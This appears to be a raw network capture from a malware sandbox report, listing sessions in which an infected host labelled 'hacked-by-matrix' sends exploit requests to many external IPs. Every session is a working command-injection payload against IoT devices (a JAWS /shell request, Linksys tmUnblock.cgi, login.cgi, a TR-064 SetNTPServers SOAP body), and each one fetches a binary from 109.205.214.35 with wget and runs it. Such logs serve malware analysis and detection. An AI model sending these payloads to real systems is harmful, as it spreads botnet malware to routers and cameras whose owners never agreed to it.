550	192.168.2.13	44836	23.220.58.219	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.665563107 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:35.828322887 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:22:35 GMT Date: Thu, 21 Mar 2024 04:22:35 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 37 38 30 38 63 36 34 32 26 23 34 36 3b 31 37 31 30 39 39 34 39 35 35 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.7808c642.1710994955.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.13	56442	18.238.86.194	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.665622950 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:35.831162930 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
552	192.168.2.13	42972	80.156.90.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.679400921 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.13	50908	95.78.67.154	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.740509033 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:35.973979950 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 11:22:35 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.13	43102	212.68.11.54	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.923372984 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:36.154931068 CET	469	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:36 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k mod_fcgid/2.3.9 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.13	60128	212.83.183.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:36.091883898 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:36.635298967 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:37.164249897 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:38.190300941 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:38.358683109 CET	495	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.13	39592	212.4.227.227	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:36.154805899 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:37.360268116 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:38.767354012 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:38.943082094 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:38 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.13	58776	212.68.43.250	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:36.155313969 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:37.360249043 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:38.767354965 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:38.977770090 CET	318	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:38 GMT Content-Type: text/html Content-Length: 150 Connection: close Server: inity-dev-server Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.13	51102	212.103.126.185	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:36.350898981 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:36.579791069 CET	289	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 X-XSS-Protection: 1;mode=block Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' X-Content-Type-Options: nosniff CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.13	59220	114.27.202.173	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:36.381467104 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.13	42546	184.73.155.105	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:36.748521090 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:37.261490107 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.13	60124	212.83.183.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:36.884073019 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:37.396519899 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:37.564316034 CET	495	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.13	56888	37.37.170.72	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:36.921708107 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:41.068429947 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:47.212241888 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:59.244337082 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:24.588234901 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.13	58648	138.100.213.146	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:37.690557003 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.13	42946	80.156.90.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:37.693451881 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:38.605525970 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.13	41450	18.238.74.173	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:37.802187920 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:37.890070915 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.13	58684	172.64.50.160	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:37.860565901 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.13	48354	172.65.245.205	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:37.861916065 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.13	52206	64.14.122.30	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:37.897125959 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:38.413316965 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:39.023317099 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
